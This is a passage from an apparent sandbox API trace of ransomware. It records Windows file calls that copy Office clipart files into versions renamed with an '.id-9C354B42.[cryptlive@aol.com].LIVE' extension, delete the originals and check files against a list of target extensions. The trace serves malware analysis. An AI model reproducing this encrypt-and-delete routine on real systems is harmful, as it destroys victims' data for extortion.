dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.427] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.428] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.428] GetLastError () returned 0x0 [0141.428] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0141.429] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x900, lpOverlapped=0x0) returned 1 [0141.430] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.430] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.430] SetEndOfFile (hFile=0x380) returned 1 [0141.431] CloseHandle (hObject=0x380) returned 1 [0141.431] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.431] SetEndOfFile (hFile=0x1ec) returned 1 [0141.433] CloseHandle (hObject=0x1ec) returned 1 [0141.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0141.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0141.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0141.434] lstrlenW (lpString=".doc") returned 4 [0141.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.434] lstrlenW (lpString=".docx") returned 5 [0141.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.434] lstrlenW (lpString=".pdf") returned 4 [0141.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.434] lstrlenW (lpString=".xls") returned 4 [0141.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.435] lstrlenW (lpString=".xlsx") returned 5 [0141.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.435] lstrlenW (lpString=".ppt") returned 4 [0141.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0141.435] lstrlenW (lpString=".zip") returned 4 [0141.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.435] lstrlenW (lpString=".rar") returned 4 [0141.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.435] lstrlenW (lpString=".bz2") returned 4 [0141.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.435] lstrlenW (lpString=".7z") returned 3 [0141.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0141.435] lstrlenW (lpString=".dbf") returned 4 [0141.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0141.435] lstrlenW (lpString=".1cd") returned 4 [0141.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0141.435] lstrlenW (lpString=".jpg") returned 4 [0141.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0141.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0141.435] lstrlenW (lpString=".doc") returned 4 [0141.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.435] lstrlenW (lpString=".docx") returned 5 [0141.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.435] lstrlenW (lpString=".pdf") returned 4 [0141.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.435] lstrlenW (lpString=".xls") returned 4 [0141.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.435] lstrlenW (lpString=".xlsx") returned 5 [0141.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.435] lstrlenW (lpString=".ppt") returned 4 [0141.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0141.436] lstrlenW (lpString=".zip") returned 4 [0141.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.436] lstrlenW (lpString=".rar") returned 4 [0141.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.436] lstrlenW (lpString=".bz2") returned 4 [0141.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.436] lstrlenW (lpString=".7z") returned 3 [0141.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0141.436] lstrlenW (lpString=".dbf") returned 4 [0141.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0141.436] lstrlenW (lpString=".1cd") returned 4 [0141.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0141.436] lstrlenW (lpString=".jpg") returned 4 [0141.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.436] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.436] lstrlenW (lpString="DD01163_.WMF") returned 12 [0141.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.437] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2300) returned 1 [0141.437] CloseHandle (hObject=0x1ec) returned 1 [0141.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x20 [0141.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.437] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.437] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.438] GetLastError () returned 0x0 [0141.438] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0141.618] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x900, lpOverlapped=0x0) returned 1 [0141.619] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.619] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.619] SetEndOfFile (hFile=0x380) returned 1 [0141.619] CloseHandle (hObject=0x380) returned 1 [0141.620] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.620] SetEndOfFile (hFile=0x1ec) returned 1 [0141.622] CloseHandle (hObject=0x1ec) returned 1 [0141.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0141.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0141.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0141.652] lstrlenW (lpString=".doc") returned 4 [0141.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.652] lstrlenW (lpString=".docx") returned 5 [0141.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.652] lstrlenW (lpString=".pdf") returned 4 [0141.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.652] lstrlenW (lpString=".xls") returned 4 [0141.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.652] lstrlenW (lpString=".xlsx") returned 5 [0141.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.652] lstrlenW (lpString=".ppt") returned 4 [0141.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0141.653] lstrlenW (lpString=".zip") returned 4 [0141.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.653] lstrlenW (lpString=".rar") returned 4 [0141.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.653] lstrlenW (lpString=".bz2") returned 4 [0141.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.653] lstrlenW (lpString=".7z") returned 3 [0141.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0141.653] lstrlenW (lpString=".dbf") returned 4 [0141.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0141.653] lstrlenW (lpString=".1cd") returned 4 [0141.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0141.653] lstrlenW (lpString=".jpg") returned 4 [0141.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0141.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0141.653] lstrlenW (lpString=".doc") returned 4 [0141.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.653] lstrlenW (lpString=".docx") returned 5 [0141.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.653] lstrlenW (lpString=".pdf") returned 4 [0141.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.653] lstrlenW (lpString=".xls") returned 4 [0141.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.653] lstrlenW (lpString=".xlsx") returned 5 [0141.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.653] lstrlenW (lpString=".ppt") returned 4 [0141.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0141.653] lstrlenW (lpString=".zip") returned 4 [0141.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.653] lstrlenW (lpString=".rar") returned 4 [0141.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.654] lstrlenW (lpString=".bz2") returned 4 [0141.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.654] lstrlenW (lpString=".7z") returned 3 [0141.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0141.654] lstrlenW (lpString=".dbf") returned 4 [0141.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0141.654] lstrlenW (lpString=".1cd") returned 4 [0141.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0141.654] lstrlenW (lpString=".jpg") returned 4 [0141.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.654] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.654] lstrlenW (lpString="DD01170_.WMF") returned 12 [0141.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.654] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2404) returned 1 [0141.655] CloseHandle (hObject=0x3a8) returned 1 [0141.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20 [0141.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.655] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.655] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0141.656] GetLastError () returned 0x0 [0141.656] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x964, lpOverlapped=0x0) returned 1 [0141.670] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x970, lpOverlapped=0x0) returned 1 [0141.671] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.671] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.671] SetEndOfFile (hFile=0x39c) returned 1 [0141.671] CloseHandle (hObject=0x39c) returned 1 [0141.671] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.671] SetEndOfFile (hFile=0x3a8) returned 1 [0141.673] CloseHandle (hObject=0x3a8) returned 1 [0141.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0141.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0141.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0141.675] lstrlenW (lpString=".doc") returned 4 [0141.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.675] lstrlenW (lpString=".docx") returned 5 [0141.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.675] lstrlenW (lpString=".pdf") returned 4 [0141.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.675] lstrlenW (lpString=".xls") returned 4 [0141.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.675] lstrlenW (lpString=".xlsx") returned 5 [0141.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.675] lstrlenW (lpString=".ppt") returned 4 [0141.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0141.675] lstrlenW (lpString=".zip") returned 4 [0141.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.675] lstrlenW (lpString=".rar") returned 4 [0141.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.675] lstrlenW (lpString=".bz2") returned 4 [0141.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.675] lstrlenW (lpString=".7z") returned 3 [0141.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0141.675] lstrlenW (lpString=".dbf") returned 4 [0141.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0141.675] lstrlenW (lpString=".1cd") returned 4 [0141.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0141.675] lstrlenW (lpString=".jpg") returned 4 [0141.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0141.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0141.675] lstrlenW (lpString=".doc") returned 4 [0141.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.675] lstrlenW (lpString=".docx") returned 5 [0141.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.676] lstrlenW (lpString=".pdf") returned 4 [0141.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.676] lstrlenW (lpString=".xls") returned 4 [0141.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.676] lstrlenW (lpString=".xlsx") returned 5 [0141.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.676] lstrlenW (lpString=".ppt") returned 4 [0141.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0141.676] lstrlenW (lpString=".zip") returned 4 [0141.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.676] lstrlenW (lpString=".rar") returned 4 [0141.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.676] lstrlenW (lpString=".bz2") returned 4 [0141.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.676] lstrlenW (lpString=".7z") returned 3 [0141.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0141.676] lstrlenW (lpString=".dbf") returned 4 [0141.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0141.676] lstrlenW (lpString=".1cd") returned 4 [0141.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0141.676] lstrlenW (lpString=".jpg") returned 4 [0141.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.676] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.676] lstrlenW (lpString="DD01172_.WMF") returned 12 [0141.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.677] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2232) returned 1 [0141.677] CloseHandle (hObject=0x3a8) returned 1 [0141.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x20 [0141.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.677] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.677] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 